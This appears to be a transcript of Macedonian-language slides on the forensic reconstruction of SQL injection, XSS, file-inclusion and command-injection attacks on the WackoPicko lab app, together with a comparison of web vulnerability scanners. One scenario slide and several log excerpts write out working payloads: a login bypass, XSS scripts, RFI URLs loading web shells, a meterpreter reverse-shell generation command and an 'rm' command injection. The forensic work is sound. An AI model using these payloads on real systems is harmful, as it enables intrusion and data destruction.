Foresics analusis of SQL injection attack

30
Форензичка анализа и реконструкција на Injection напади врз веб апликации Наташа Шутева

Transcript of Foresics analusis of SQL injection attack

Page 1: Foresics analusis of SQL injection attack

Форензичка анализа и реконструкција на Injection напади врз веб апликации

Наташа Шутева

Факултет за информатика, УГД

Page 2: Foresics analusis of SQL injection attack

Цели

• Идентификување на осомичениот

• Анализа на жртвата сервер

• Анализа на напаѓачката машина

• Рано утврдување на ранливости кајвеб апликациите

Page 3: Foresics analusis of SQL injection attack

Проблем

Сајбер-криманалот е глобален проблем

77% од страните содржат ранливости

16 % од страните содржат критични ранливости

Page 4: Foresics analusis of SQL injection attack

Гранки на дигиталната форензика

• Компјутерска форензика

• Форензика на мобилни уреди

• Мрежна форензика

• Форензика на бази на податоци

• Форензика во живо

Page 5: Foresics analusis of SQL injection attack

Ранливости и напади на веб апликации

• SQL Injection

• XSS

• File Inclusion

• Command Injection

Page 6: Foresics analusis of SQL injection attack

Напаѓачка машина Kali Linux со IP адреса 192.168.60.163

Kali Linux е Debian базирана Linux дистрибуција специјално наменета за пенетрациски тестирања и безбедносни ревизии.

Page 7: Foresics analusis of SQL injection attack

Жртвата машина со IP адреса 192.168.60.141Ранлива веб апликација – Wacko Picko

• Wacko Picko е веб портал за споделување на фотографии и продажба на фотографии.

• Wacko Picko е дел од OWASP Broken Web Applications Project virtual machine

• Технологии Apache 2.2.14 (Ubuntu), PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch, и MySQL 5.0.67

Page 8: Foresics analusis of SQL injection attack

Сценарио за напад• SQL Injection на формата за најава 1’or 1=1#• Складирачки XSS на страната за коментари <script>location=" http://www.ugd.edu.mk/ index.php/mk;"</script>

• Remote File Inclusion со инјектирање на null бајт• Со b374k шел (rm -rf cart), (mkdir papka) http://192.168.60.141/WackoPicko/admin/index.php?page=http://192.168.60.141/ WackoPicko/upload/b374k-2.8/b374k-2.8%00.php• Со c99shell (text http://www.stip.gov.mk)http://192.168.60.141/WackoPicko/admin/index.php?page=http://192.168.60.141/WackoPicko/upload/c99shell/c99shell%00.php • Со метасплоит # msfpayload php/meterpreter/reverse_tcp LHOST=192.168.60.163 LPORT=4444 R >/root/napad.php(upload /root/stip.html) , (rm error.php) http://192.168.60.141/WackoPicko/admin/index.php?page=http://192.168.60.141/WackoPicko/upload/napad/napad%00.php

• Рефлектирачки XSS на формата за пребарување <script>alert(document.cookie)</script>

• Command Injection на полето password 123|rm -f tos.php #

Page 9: Foresics analusis of SQL injection attack

Аквизиција на податоци

• FTK Imager• Write-blocker

Анализа на форензчките слики

• Autopsy• FTK Imager• WinHex• SQLite Database Browser

Page 10: Foresics analusis of SQL injection attack

Анализа на серверот жртва• Анализа на ситемсите датотеки и враќање на избришани

документи и датотеки Пронајдени се неколку php скрипти кои беа променети, неколку избришани или додадени документи и датотеки

• Анализа на лог датотеките Беа испитувани лог датотеките: error.log, access.log, mysql.log, и нивните верзии со различни екстензии на пример, log.1, или log.1.gz. Од анализата на лог датотеките утврдуваме дека нападот врз серверот бил изведен од IP адресата 192.168.60.163 со карактеристики ("Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140924 Firefox/24.0 Iceweasel/24.8.1")

• Пребарување по клучни зборови 1=1#, b374k, c99shell, %00.php, ugd, papka, napad, stip.html, tos.php, www.stip.gov.mk, www.ugd.edu.mk, cart, error.php

• Пребарување на swap областа (400MB)

Page 11: Foresics analusis of SQL injection attack

Анализа на ситемсите датотеки и враќање на избришани документи и датотеки

Изглед на податотечната структура пред и по нападите

Page 12: Foresics analusis of SQL injection attack

Анализа на лог датотеките При анализа на датотеката mysql.log пронајдени се траги од SQL injection и XSS нападите 141220 11:28:06 558 Query SELECT * from `users` where `login` like '-1'or 1=1#' and `password` = SHA1( CONCAT('', `salt`)) limit 1 574 Query INSERT INTO `comments` (`id`, `text`, `user_id`, `picture_id`, `created_on`) VALUES (NULL, '<script>location=\"http://www.ugd.edu.mk/index.php/en/\";</script>', '12', '17', '2014-12-20 11:48:12') 608 Query SELECT *, UNIX_TIMESTAMP(created_on) as created_on_unix from pictures where tag like '<script>alert(document.cookie)</script>‘

Во error.log можеме да забележиме дека закачувањето на b374k-2.8, c99shell, napad се појавени како грешки бидејќи не се слики туку се скрипта кодови кои се користат за напад [Sat Dec 20 11:57:02 2014] [error] [client 192.168.60.163] PHP Warning: imagecreatefromjpeg(): '../upload/b374k-2.8/b374k-2.8' is not a valid JPEG file in /owaspbwa/WackoPicko-relative_urls-git/website/include/pictures.php on line 237, referer: http://192.168.60.141/WackoPicko/pictures/upload.php

Page 13: Foresics analusis of SQL injection attack

Анализа на лог датотеките При истрагата на access.log датотеката видовме дека трагите што се оставени се поврзани со IP адресата 192.168.60.163. Следните четири записи се со одговор од сервер 200 што значи дека барањето е успешно воспоставено

192.168.60.163 - - [20/Dec/2014:12:03:17 -0500] "GET /WackoPicko/admin/index.php?page=http://192.168.60.141/WackoPicko/upload/b374k-2.8/b374k-2.8%00.php HTTP/1.1" 200 1780 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140924 Firefox/24.0 Iceweasel/24.8.1"192.168.60.163 - - [20/Dec/2014:12:30:29 -0500] "GET /WackoPicko/admin/index.php?page=http://192.168.60.141/WackoPicko/upload/c99shell/c99shell%00.php HTTP/1.1" 200 3983 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140924 Firefox/24.0 Iceweasel/24.8.1"192.168.60.163 - - [20/Dec/2014:13:33:52 -0500] "GET /WackoPicko/admin/index.php?page=http://192.168.60.141/WackoPicko/upload/napad/napad%00.php HTTP/1.1" 200 20 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140924 Firefox/24.0 Iceweasel/24.8.1"192.168.60.163 - - [20/Dec/2014:13:51:16 -0500] "GET /WackoPicko/stip.html HTTP/1.1" 200 93 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140924 Firefox/24.0 Iceweasel/24.8.1"

Page 14: Foresics analusis of SQL injection attack

ДЕЛ ОД ПРОНАЈДЕНИТЕ КЛУЧНИ ЗБОРОВИ КАЈ ЖРТВАТА СЕРВЕР ВО ACCESS.LOG ДАТОТЕКАТА ТАБЕЛА 1

Page 15: Foresics analusis of SQL injection attack

Анализа на напаѓачката машина• Анализа на системските датотеки и споредби на хеш вредности Коплетно прбарување на директориумите и податочните структури, со проверување на нивнисте соодветни хеш вреднсти. Форензичарот вештак треба да биде во можност да ги пронајде имињата на датотеките со нивните хеш вредности за кои смета дека го предизвикале инцидентот и да види кои од нив соодветствуваат со датотеките од напаѓачката машина (т.е. кои имаат исти хеш вредности). Табела II• Анализа на лог датотеките и датотеките со интернет историјат Неколку URL записи и содржината која е пронајдена во кешот ја докажуваат посетата врз нападнатата страна . Табела III• Преглед на артефакти од оперативен систем и други софтвери Оперативниот систем на напаѓачаката машина користи автоматско доделување на IP адреси од виртуеланата машина. Корисни форензички аретфакити се пронајдени во bash history датотеката. Табела IV • Пребарување по клучни зборови Се користат истите клучни зборови како и при анализата на жртвата машина. Табела V

Page 16: Foresics analusis of SQL injection attack

ХЕШ КОМПАРАЦИЈА НА НЕКОЈ ОД ДАТОТЕКИТЕ СО FTK IMAGER И AUTOPSY ТАБЕЛА II

Page 17: Foresics analusis of SQL injection attack

НЕКОИ ОД РЕЗУЛТАТИТЕ ДОБИЕНИ ОД ЛОГ АНАЛИЗАТА И ИНТЕРНЕТ ИСТОРИЈАТОТ НА НАПАЃАЧКАТА МАШИНА СО AUTOPSY ТАБЕЛА III

Page 18: Foresics analusis of SQL injection attack

АНАЛИЗА НА АРТЕФАКТИ ОД ОПЕРАТИВНИОТ СИСТЕМ ТАБЕЛА IV

РЕЗУЛТАТИ ОД ПРЕБАРУВАЊЕТО ПО КЛУЧНИ ЗБОРВИ КАЈ НАПАЃАЧКАТА МАШИНА ТАБЕЛА V

Page 19: Foresics analusis of SQL injection attack

Форензички извештај

• Форензичкиот извештај преставува документ во кој на разбирлив начин се интерпретираат резултатите кои потекнуваат од извршените анализи, со цел нивно успешно презентирање пред надлежните институции.

• Форензички извештај би требало да биде составен од следниве делови:

- Информации за анализираниот мемориски медиум - Информации за оперативниот систем, информации за апликативните софтвери - Локации на пронајдените директориуми, датотеки - Визуелна интерпретација на пронајдените артефакти - Доставување на форензичкиот извештај во пишана и електронска форма

Page 20: Foresics analusis of SQL injection attack

Дискусија • Remote file inclusion и користењето на шеловите остава мнаогу траги, кај

напаѓачата и кај нападаната страна. • Ако шел скриптата ги пренесува комадите преку POST барањето, неговата

употреба е документирана во лог датотеките кај машината жртва, додека кај напаѓачката машина трагите се документираат во следниве датотеки places.sqlite, formhistory.sqlite, cookies.sqlite.

• Ако шелот ги пренесува командите како параметар во URL-то, трагите се документираат на истиот начин.

• Ако напаѓачот користел Metasploit конзола преку командната линија, тој остава траги во batch_history датотеката од напаѓачката машина.

• Скрипта кај е искористена при складирачкиот XSS се зачувува во позадинската база на податоците и остава траги во mysql.log датотеката

• SQL injection нападот остава траги во formhistory.sqlite и во mysql.log датотеките.

• Рефлектирачкиот XSS напад, остава форензички докази во Интернет историјатот кај напаѓачката машина и formhistory.sqlite датотеката.

• Command injection нападот не остава директни форензички докази кај напаѓачката машина, освен користењето на passcheck.php скриптата во Интернет историјатот.

Page 21: Foresics analusis of SQL injection attack

Анализа на некои скенери за веб ранливости

• Скенерот за ранливости е програма која врши дијагностицирање и анализа на ранливости.

• Анализата на ранливостите се состои од дефинирање, идентификација и класификација на безбедностните ранливости кај веб апликациите.

• Скенерот на ранливости се потпира на претходно подготвена база на податоци кои ги содржат сите информации потребни за да се проверат безбедностните аномалии.

• Скенерите користат black-box тестирање.• Автоматското генерирање на крајниот извештај.

Page 22: Foresics analusis of SQL injection attack

Скенери за веб ранливости• Архитектурата на скенерите за веб ранливости се состои од:

• Scan Engine

• Scan Database

• Report Module

• User Interface

Page 23: Foresics analusis of SQL injection attack

Анализата ќе биде извршена со следниве веб скенери

• Ќе се испитува една несакана активност кај веб скенерите, т.е. оставање на непотеренби записи во базата на податоците.

Page 24: Foresics analusis of SQL injection attack

Тест веб апликација• За нашето истражување беше креирана едноставна веб страна

за продажба• Креирани се две верзии на оваа апликација, едната е ранлива,

другата е добро заштитена веб страна. • Ранливата страна е направена да има три типа на ранливости:

SQL injection (во три скрипти), рефлектирачки и скалдирачки XSS.

• Позадинската база на веб апликацијата за продажба е составена од три табели (корисници, оглас, коментар за оглас).

Page 25: Foresics analusis of SQL injection attack

Пронајдени ранливости Tабела VI

SQLI Reflected XSS Stored XSS

NetSparkerCommunityEdition

Yes (3/3) Yes Yes

N-Stalker XFree Edition Yes Yes

OWASPZAP Yes (2/3) Yes

IronWASP Yes (2/3) Yes Yes

Vega Yes (3/3) Yes Yes

Acunetix WVS Yes (2/3) Yes Yes

IBM Rational AppScan Yes (2/3) Yes Yes

Page 26: Foresics analusis of SQL injection attack

Број на напаравени коментари во табелата од страна на скенерите кај безбедната апликција Табела VII

Број на непотребни коментариОгласи

Scan 1 Scan2 Scan 3

NetSparkerCommunityEdition

156 160 156 All

N-Stalker XFree Edition 26 26 26 All

OWASPZAP 61 61 61 All

IronWASP 0 0 0 -

Vega 0 0 0 -

Acunetix WVS 367 367 367 All

IBM Rational AppScan 52 52 51 All

Page 27: Foresics analusis of SQL injection attack

Број на напаравени коментари во табелата од страна на скенерите кај ранливата апликација Табела VIII

Број на непотребни коментариОгласи

Scan 1 Scan 2 Scan 3

NetSparkerCommunityEdition

156 150 156 All

N-Stalker XFree Edition 10 10 10 All

OWASPZAP 210 210 210 All

IronWASP 0 0 0 -

Vega 0 0 0 -

Acunetix WVS 144 144 144 All

IBM Rational AppScan 178 178 180 All

Page 28: Foresics analusis of SQL injection attack

Дискусија

• Постојат скенери кои не оставаат непотребни записи, како на пример, IronWASP и Vega, а сепак наоѓаат критични/важни ранливости

• Испитуваните скенери кои оставаат непотребни записи во дадена табела, тоа го прават за сите записи, па ако имаме табели со илјадници записи, најмалку толку непотребни записи ќе има во табелите по скенирањето

• Испитуваните скенери кои оставаат непотребни записи, тоа го прават без разлика дали има или нема критични/важни ранливости во веб апликацијата

• Бројот на непотребни записите може да биде различен при повеќекратно скенирање кај некои скенери, на пример, N-Stalker X Free Edition, IBM AppScan.

Page 29: Foresics analusis of SQL injection attack

Заклучок• Со користење на post-mortem компјутерска форензичка анализа кај

нападнатата и напаѓачката машина, се пронајдени неколку директни и индиректни форензички докази.

• При тоа треба да се напомени дека не ги менува доказите кај двете машини.

• Кај напаѓачката машина траги беа пронајдени кај датотеките со Интернет историјат на веб прелистувачот, привремената меморија на веб прелистувачот (browser temporary storage), и bash_history датотеката.

• Кај машината жртва траги беа пронајдени во лог датотеките. • Овие артефакти можат да помогнат во идентификацијата, а понекогаш и

во реконструкцијата на извршените напади, па дури и повеќе од тоа тие треба да претставуваат валиден доказ за судот.

• Користење на веб скенери за ранливости, со цел идентификација и остранување на веб ранливостите кај апликациите.

Page 30: Foresics analusis of SQL injection attack

Благодарам на вниманието

Прашања ?